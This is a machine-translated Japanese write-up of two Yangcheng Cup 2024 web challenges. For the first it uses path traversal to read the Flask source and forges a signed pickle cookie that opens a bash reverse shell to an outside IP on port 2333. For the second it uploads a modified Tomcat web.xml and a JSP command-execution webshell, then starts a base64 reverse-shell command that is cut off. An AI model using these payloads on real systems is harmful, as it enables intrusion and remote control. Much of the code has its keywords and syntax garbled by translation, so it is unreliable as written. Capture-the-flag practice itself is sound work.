Jump to content

yangcheng cup-2024

web

web2

質問に関する情報を収集します。 Dirsearchは、ログインルートにアクセスできることを発見しました。さりげなくクリックして、読むファイルを見つけました:

http://139.155.126.78336030148/歌詞?歌詞=rain.txtiそれを試しました:

http://139.155.126.78336030148/歌詞?歌詞=./././././././././././././

1049983-20241004160047878-2048146175.jpg

任意のファイルの読み取りだと思いましたが、それほど単純ではありませんでした。

最初にソースコードを読んで、/static/style.cssで試してみてください。

1049983-20241004160048783-1918941077.jpg

ファイルが読み取られているディレクトリは/var/www/html/xxx/にあることがわかりました。

1049983-20241004160049544-986345257.jpg

ソースコードが見つかりました。その後、対処が簡単になり、ソースコードが添付されます。

OSをインポートします

ランダムをインポートします

from config.secret_key Import Secret_code

フラスコからインポートフラスコ、make_response、request、render_templateから

CookieからImport set_cookie、cookie_check、get_cookieから

ピクルスをインポートします

app=flask(__name__)

app.secret_key=random.randbytes(16)

クラスuserdata:

def __init __(self、username):

self.username=username

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data.lower():のword.lower()の場合

valid=true

壊す

有効に戻ります

@app.route( '/'、method=['get'])

def index():

return render_template( 'index.html')

@app.route( '/歌詞'、method=['get'])

def歌詞():

resp=make_response()

resp.headers ['content-type']='text/plain; charset=utf-8 '

query=request.args.get( '歌詞')

path=os.path.join(os.getcwd() + '/歌詞'、query)

try:

f:のオープン(パス)

res=f.read()

E:としての例外を除く

「歌詞が見つかりません」を返します

RESを返します

@app.route( '/login'、method=['post'、 'get']))

def login():

if request.method=='post ':

username=request.form ['username']

user=userdata(username)

res={'username': user.username}

return set_cookie( 'user'、res、secret=secret_code)

RENDER_TEMPLATE( 'login.html')を返します

@app.route( '/board'、method=['get'])

DEFボード():

invalid=cookie_check( 'user'、secret=secret_code)

Invalid:の場合

「いや、無効なコードが出てください!」

data=get_cookie( 'user'、secret=secret_code)

ISInstance(データ、バイト):の場合

a=pickle.loads(data)

data=str(data、encoding='utf-8')

data:にない「username」の場合

return render_template( 'user.html'、name='guest')

data ['username']=='admin':の場合

return render_template( 'admin.html'、name=data ['username']))

data ['username']!='admin':の場合

return render_template( 'user.html'、name=data ['username']))

__name__=='__main __' :の場合

os.chdir(os.path.dirname(__ file__))

app.run(host='0.0.0.0'、port=8080)がpycharmに配置されると、2つの存在しないライブラリが見つかります。そのため、現在のフォルダーの.py endingファイルのみを呼び出すことができます。

Pythonでの呼び出しが使用されます。フォルダーの代わりに、探しているのは./cookie.py and ./config/secret_key.pyです。1つ目はCookieの暗号化方法で、2番目はCookieの署名キーです。

次に、Pickle.Loadsがボードで使用されていることがわかり、WAFSにはRキャラクターがあります。それは、ピクルスの脱介入の非R方向で十分であることを意味します。

アイデア:非R方向のピクルスシリアル化スクリプトを使用して入力し、Cookie暗号化方法とキーを使用して署名し、Cookieを変更し、シェルを直接リバウンドします。

最初にcookie.pyを読む:

1049983-20241004160050257-2019573803.jpg

ソースコード:

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

unicode=str

BaseString=str

#Pythonボトルテンプレートから引用、dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(pickle.dumps(data、-1))

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def cookie_decode(data、key):

data=tob(data)

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()):の場合

return pickle.loads(base64.b64decode(msg))

なしなし

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def cookie_check(key、secret=none):

a=request.cookies.get(key)

data=tob(request.cookies.get(key))

data:の場合

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(secret)、msg、digestmod=hashlib.md5).digest()):の場合

res=base64.b64decode(msg)

WAF(res):の場合

trueを返します

else:

falseを返します

trueを返します

else:

falseを返します

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

def get_cookie(key、default=none、secret=none):

value=request.cookies.get(key)

秘密とvalue:の場合

dec=cookie_decode(value、Secret)

DEC [1]を返すdec and dec [0]==キーelse default

返品値またはデフォルト

def cookie_is_encoded(data):

データにbool(data.startswith(tob( '!'))およびtob( ''? ')を返す)

def _lscmp(a、b):

sum(0 x==yの場合、x==yの場合は0、zip(a、b))およびlen(a)==len(b)の場合は0

def set_cookie(name、value、secret=none、** options):

secret:の場合

value=touni(cookie_encode((name、value)、secret))

resp=make_response( 'success')

resp.set_cookie( 'user'、value、max_age=3600)

RETURN REST

ElifはISINSTANCE(Value、Basestring):ではありません

Laise TypeError( '非弦のクッキーの秘密の鍵がありません。')

Len(Value)4096:の場合

Raise ValueError( 'cookie value to long'。 ')

def touni(s、enc='utf8'、err='strict'):

s.decode(enc、err)を返すISInstance(s、bytes)else unicode(s)ここで使用する必要があるのは、cookie_encode関数であるCookieの暗号化プロセスです。

次に、secret_keyを読みましょう:

1049983-20241004160050986-1957658911.jpg

次に、スクリプト内の他のものを直接削除し、secret_codeとcookie_encryptで暗号化すると、スクリプトが添付されます。

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

フラスコのインポートフラスコから、make_responseから

app=flask(__name__)

unicode=str

BaseString=STR#Pythonボトルテンプレートから引用、Dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(data)

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

__name__=='__main __' :の場合

res=b '' ''(s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n。' '' '

secret_code='feantheplaytime123456'

cookie_value=cookie_encode(res、key=secret_code)

印刷(cookie_value)実行するには:

1049983-20241004160051668-845592983.jpg

次に、 /ボードルートクッキーにコピーし、サーバーはポート2333を聴き、シェルで直接バウンスしました。

1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

ルートディレクトリのReadflagは、フラグを取得するために直接実行されます。

web3

アクセス /MyApp入力後。次に、アクセス /読み取りに移動してファイルを読み取り、オンラインで記事を見つけます。

https://www.cnblogs.com/junglezt/p/18122284 Tomcat /conf/tomcat-users.xmlの多くが変更されないため、パスワードが内側にあることがわかります。

1049983-20241004160054060-485284736.jpg

次に、それを見つけて、ログインに移動してログインします。

ログインした後、アップロード操作を実行できることがわかりました。そして、ここでポイントを見つけました。

1049983-20241004160100829-2097794800.jpg

web.xmlを入力すると、間違いなく禁止され、ファイルのアップロードにはフィルタリングがありません。

XMLなどの構成ファイルのみを使用できるため、構成ファイルを変更してXMLをJSPのXML構成ファイルとして直接認識し、1.xmlで渡すことができます。

1049983-20241004160101619-371163988.jpg

?xmlバージョン='1.0'エンコード='utf-8'?

web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'

xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'

XSI:SCHEMALOCATION='http://XMLNS.JCP.ORG/XML/NS/JAVAEE http://XMLNS.JCP.ORG/xml/ns/javaee/web-app_4_0.xsd'バージョン='4.0' '

サーブレット

サーブレット - ナメックス/サーブレット名

jsp-file/web-inf/1.xml/jsp-file

Load-on-startup1/load-on-startup

/サーブレット

サーブレットマッピング

サーブレット - ナメックス/サーブレット名

url-pattern/exec/url-pattern

/サーブレットマッピング

/web-app次に、1.xmlで渡されて、JSPファイルとして認識できるかどうかを確認しようとします。私たちが渡すのはトロイの木馬です:

out.println( 'hello');

プロセスプロセス=runtime.getRuntime()。exec(request.getParameter( 'cmd'));

1049983-20241004160102504-257286285.jpg

読み取りは絶対的なパスを使用して読み取り、その後、絶対的なパスはその /envルートにあります。そして、あなたはそれを手に入れるためにチャットに尋ねることができます。次に、アクセスが成功した後、構成ファイルで定義された /execルートにアクセスし、CMDパラメーターを渡し、hello:Echo Helloを確認するために任意のパラメーターを渡すことがわかりました。

1049983-20241004160103176-2006551884.png

成功したエコーは、JSPトロイの木馬が渡されたことを示していることがわかります。JSPリバウンドシェルを直接使用してヒットします。

bash -c {echo、ymfzacatasa+jiavzgv2l3rj

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...